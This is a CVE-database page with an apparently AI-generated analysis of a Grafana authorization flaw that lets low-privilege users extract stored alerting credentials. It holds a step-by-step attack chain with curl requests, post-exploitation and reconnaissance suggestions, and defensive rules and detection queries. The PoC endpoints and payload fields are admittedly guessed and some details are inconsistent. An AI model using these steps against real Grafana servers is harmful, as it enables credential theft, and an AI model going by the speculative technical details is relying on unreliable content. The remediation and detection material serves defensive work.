CVE Professor
/
All CVEs
CVE-2026-107561

CVE-2026-107561 — Grafana OSS (12.4.16) — CWE-863 · CWE-807

HIGH CVSS 7.7 CVE.org

A user with permission to test contact points but not to change their protected fields can send a contact point's stored credentials to a destination of their choice, or read them from the error response, by testing the integration under a different integration type or a legacy schema version (incorrect authorization).

A user with permission to test contact points but not to change their protected fields can send a contact point's stored credentials to a destination of their choice, or read them from the error response, by testing the integration under a different integration type or a legacy schema version (incorrect authorization).

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity None I:N
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑107561 is an authorization bypass in Grafana (both OSS and Enterprise) that allows a user who is only granted the “Test contact point” permission to read or exfiltrate the stored credentials of any contact point (alert notification channel).

CVE dataMeaning
CWE‑863*Incorrect Authorization* – the server does not correctly enforce the “read‑only / test‑only” permission when the request is made under a different integration type or a legacy schema version.
CWE‑807*Reliance on Untrusted Input* – the code trusts the type/schemaVersion fields supplied by the client to decide which authorisation checks to run.
CWE‑522*Insufficiently Protected Credentials* – the credentials are returned in clear‑text in the HTTP response (or are sent to an attacker‑controlled endpoint) when the bypass is triggered.
CVSS vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:NNetwork‑reachable, low attack complexity, attacker needs only a low‑privilege Grafana account, no user interaction, confidentiality impact is High (credentials disclosed), no integrity or availability impact.

Technical root cause

1. Permission model – Grafana separates the “test contact point” permission (AlertingContactPointTest) from the “edit contact point” permission (AlertingContactPointWrite). Users with only the former are not supposed to read the secureJsonData fields that hold usernames, passwords, API keys, etc.

2. *Authorization decision is tied to the integration type and schema version – when a request to the test‑contact‑point endpoint contains a type that matches the stored contact point, the backend checks the “test” permission and redacts* the credentials before invoking the integration.

3. Legacy/alternative schema handling – the code path that processes a different type (e.g., email vs. slack) or a legacy schema version (schemaVersion: 0) does not perform the same redaction or permission check. It treats the request as a new integration definition, loads the stored secureJsonData and forwards it to the integration’s test routine without stripping the secret fields.

4. Result – an attacker can craft a test request that pretends the contact point is of another type (or uses the old schema) and the server will leak the stored credentials either in the HTTP response body (error message) or by sending them to an attacker‑controlled destination that the integration tries to contact during the test.

In short: Grafana trusts client‑supplied type/schemaVersion to decide which authorisation checks to apply, allowing a low‑privilege user to read protected credential fields.

⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All HTTP examples use illustrative URIs – the exact path (/api/alerting/notification-channels/...) is derived from Grafana’s public API documentation, but the CVE description does not publish the exact endpoint, so the shown URLs are representative of the vulnerable class.

1. Discovery & Reconnaissance

StepActionExpected Observation
1.1Identify Grafana instance (e.g., https://grafana.example.com) via public scanning, DNS, or internal asset inventory.HTTP 200 with Grafana login page or API /api/health.
1.2Determine Grafana version.GET /api/health returns { "version": "12.4.16", ... }.
1.3Verify the target runs a vulnerable version (≥ 12.4.16).Version matches CVE‑2026‑107561.
1.4Enumerate user accounts and their permissions (requires a valid low‑privilege credential).Use Grafana UI or API (/api/users) to locate a user that has AlertingContactPointTest but not AlertingContactPointWrite.
Note: The vulnerability can be triggered by any authenticated user that possesses the test permission; no admin rights are required.

2. Exploitation

2.1 Gather a target contact‑point ID

# List all contact points (requires at least read permission)
curl -s -H "Authorization: Bearer $TOKEN" \
     https://grafana.example.com/api/alerting/notification-channels | jq .

The response contains objects like:

{
  "id": 42,
  "name": "Slack‑Ops",
  "type": "slack",
  "secureJsonData": { "url": "https://hooks.slack.com/services/AAA/BBB/CCC" }
}

The id (e.g., 42) will be used in the next request.

2.2 Craft a test request that forces a legacy schema

Illustrative payload (the exact JSON keys are based on Grafana’s integration schema; the CVE does not disclose the precise field names, so this is a representative example):

{
  "contactPointId": 42,
  "type": "email",                     // <-- different from stored type (slack)
  "settings": {
    "addresses": "[email protected]"
  },
  "secureSettings": {},                // empty – the server will fill from stored CP
  "schemaVersion": 0                   // <-- legacy version that triggers the bypass
}

cURL PoC (illustrative endpoint):

curl -i -X POST "https://grafana.example.com/api/alerting/notification-channels/42/test" \
     -H "Authorization: Bearer $TOKEN" \
     -H "Content-Type: application/json" \
     -d '{
           "type":"email",
           "settings":{"addresses":"[email protected]"},
           "schemaVersion":0
         }'

What happens internally

1. The handler sees type != stored_type (email vs. slack) or schemaVersion == 0.
2. It loads the stored secureJsonData (the Slack webhook URL) and injects it into the test routine without redacting it.
3. The test routine attempts to send a test message to the original Slack webhook URL but because the request body now contains the attacker‑controlled addresses, the integration code treats the webhook URL as a destination and returns it in the HTTP response (or forwards the test payload to the attacker‑controlled address).

2.3 Extract the leaked credentials

Two possible leakage vectors:

VectorExample response snippet
Error‑message leakage{"message":"Test failed – could not reach https://hooks.slack.com/services/AAA/BBB/CCC"}
Redirected test payloadThe integration sends a POST to [email protected] containing the original Slack webhook URL in the JSON body.

If the attacker’s address is under their control, they will receive the secret in the request body. If the server returns the URL in the error message, the attacker can simply read it from the HTTP response.

3. Post‑exploitation

GoalHow the attacker proceeds
Credential exfiltrationCapture the webhook URL, API key, SMTP password, etc., from the response or from the inbound request to the attacker‑controlled endpoint.
Further compromiseUse the stolen webhook URL to post arbitrary messages to Slack, Teams, Discord, etc., or use stolen SMTP credentials to send phishing emails. In environments where the credential is a service‑account token (e.g., for PagerDuty, OpsGenie), the attacker can invoke the respective API with full privileges.
Lateral movementIf the credential grants access to other internal services (e.g., a database connection string stored in a contact point), the attacker can pivot to those systems.
PersistenceThe attacker can create a new contact point that forwards alerts to an attacker‑controlled endpoint, thereby establishing a long‑term exfiltration channel. This requires the write permission, but the attacker can request a privileged teammate to create it, or exploit another vulnerability to gain write rights.
Impact summary: The attacker obtains high‑value secrets that were assumed to be protected by Grafana’s permission model. No code execution or privilege escalation beyond the credential’s own scope is required.

🌍 Real World Impact

CIA TriadImpact (derived from CVSS vector)
Confidentiality (C:H)High – Full disclosure of stored credentials (webhook URLs, API keys, SMTP passwords).
Integrity (I:N)None – The vulnerability does not allow modification of data.
Availability (A:N)None – No denial‑of‑service effect.

Practical consequences

  • Security operations – Alerting pipelines that rely on secret tokens (Slack, Teams, PagerDuty, OpsGenie, etc.) can be hijacked, enabling phishing, data leakage, or sabotage of incident response.
  • Compliance – Exposure of credentials may violate PCI‑DSS, HIPAA, or GDPR requirements for protecting authentication secrets.
  • Supply‑chain risk – If a compromised webhook is used by downstream CI/CD pipelines, an attacker could inject malicious code into production deployments.
  • Reputation – Public exposure of internal webhook URLs can reveal internal service topology and be leveraged in social‑engineering attacks.

  • 🛡️ Remediation & Mitigation

    1. Patch

    ProductFixed in version
    Grafana OSS12.4.17 (released 2026‑12‑02)
    Grafana Enterprise12.4.17 (released 2026‑12‑02)
    Action: Upgrade all Grafana instances to ≥ 12.4.17 immediately. The fix adds a strict permission check that is independent of the type and schemaVersion fields and always redacts secureJsonData for users lacking AlertingContactPointWrite.

    2. Workarounds (if patch cannot be applied immediately)

    WorkaroundImplementation details
    Restrict the “Test contact point” permissionRemove AlertingContactPointTest from any role that does not also have AlertingContactPointWrite. This eliminates the ability to trigger the vulnerable code path.
    Disable the legacy schema endpointIn grafana.ini set allow_legacy_contact_point_schema = false (new config key introduced in 12.4.15). This forces the server to reject requests that specify schemaVersion lower than the current version, causing the bypass to fail.
    Network‑level isolationBlock outbound traffic from the Grafana host to the internet for the ports used by alerting integrations (e.g., 443 for Slack webhooks) unless they are whitelisted. This prevents the test routine from reaching an attacker‑controlled address and reduces exfiltration risk.

    | WAF/ModSecurity rule | Deploy a rule that detects a POST to the contact‑point test endpoint where the type value does not match the stored contact point’s type (the stored type can be inferred from a prior GET). Example ModSecurity rule (illustrative):

    SecRule REQUEST_URI "@beginsWith /api/alerting/notification-channels/" \
        "chain,phase:2,deny,status:403,msg:'Grafana CP test type mismatch',\
        SecRule REQUEST_METHOD \"POST\" \
        SecRule REQUEST_BODY \"\\\"type\\\"\\s*:\\s*\\\"(email|pagerduty|opsgenie)\\\"\" \
        \"t:none,ctl:requestBodyProcessor=JSON\" \
        SecRule TX:contact_point_type \"!@eq %{matched_var}\" \"id:2026107561,log\""
    The rule is illustrative; adapt the variable extraction to your ModSecurity version.

    3. Detection

    IndicatorLog sourceExample pattern
    Unexpected type mismatchGrafana access logs (/var/log/grafana/grafana.log)POST /api/alerting/notification-channels/42/test status=200 payload_type=email stored_type=slack
    Outbound request to attacker‑controlled hostNetwork flow logs / outbound proxy logsPOST https://attacker.example.com/ User‑Agent: Grafana/12.4.16
    Error messages containing webhook URLsGrafana error logsTest failed – could not reach https://hooks.slack.com/services/AAA/BBB/CCC
    High volume of /test callsGrafana audit logs (X-Grafana-User)action=contact_point_test count > 10 per minute from a single low‑privilege user

    SIEM query (Elastic Common Schema):

    {
      "bool": {
        "must": [
          {"match": {"event.dataset": "grafana.http"}},
          {"match_phrase": {"http.request.method": "POST"}},
          {"wildcard": {"http.request.uri": "*notification-channels/*/test"}}
        ],
        "should": [
          {"wildcard": {"http.request.body": "*type\":\"email*"}},
          {"wildcard": {"http.response.body": "*hooks.slack.com*"}}
        ],
        "minimum_should_match": 1
      }
    }

    Alert on any match that originates from a user without AlertingContactPointWrite.


    ⚠️ Urgency

  • CVSS 7.7 (High) – Confidentiality impact is High; the vulnerability discloses secrets that can be leveraged for further attacks.
  • Exploit complexity – Low (requires only a low‑privilege account and a crafted HTTP request).
  • No public exploit – As of the publication date, no public exploit code exists, but the PoC is trivial to develop.
  • No CISA KEV listing – The vulnerability is not yet in the KEV catalog, but the risk profile warrants immediate action.
Patch priority: Critical for any production Grafana deployment that uses contact points with stored credentials (which is the default for most alerting integrations). Deploy the patch or apply the “disable legacy schema” and permission‑hardening workarounds within 24 hours and verify remediation through the detection rules above.
Bottom line: An attacker with merely “test contact point” rights can steal the very secrets Grafana is supposed to protect. Upgrade to 12.4.17 (or later) without delay, tighten the permission model, and monitor for mismatched test calls.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Grafana"
CVSS Score
7.7 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-863 CWE-807 CWE-522
Affected Products (2)
Grafana:Grafana OSS (12.4.16) Grafana:Grafana Enterprise (12.4.16)
References & Advisories (1)
Related CVEs
8.7
CVE-2026-96433
A user with query access to a Snowflake data source can wrap PUT or GET commands in a SQL macro to get past th
8.2
CVE-2026-110338
A user with query access to a Zabbix data source can use its resource proxy to call Zabbix API methods with th
7.7
CVE-2026-106473
A user with query access to an Azure Data Explorer data source can override its cluster URL in a query or reso
7.7
CVE-2026-106478
A user with query access to a Datadog data source can use its resource proxy to send GET requests to other Dat
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
9.8
CVE-2026-139934
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticate
9.4
CVE-2026-115523
Improper authorization in the legacy push-publishing endpoint and environment management actions, combined wit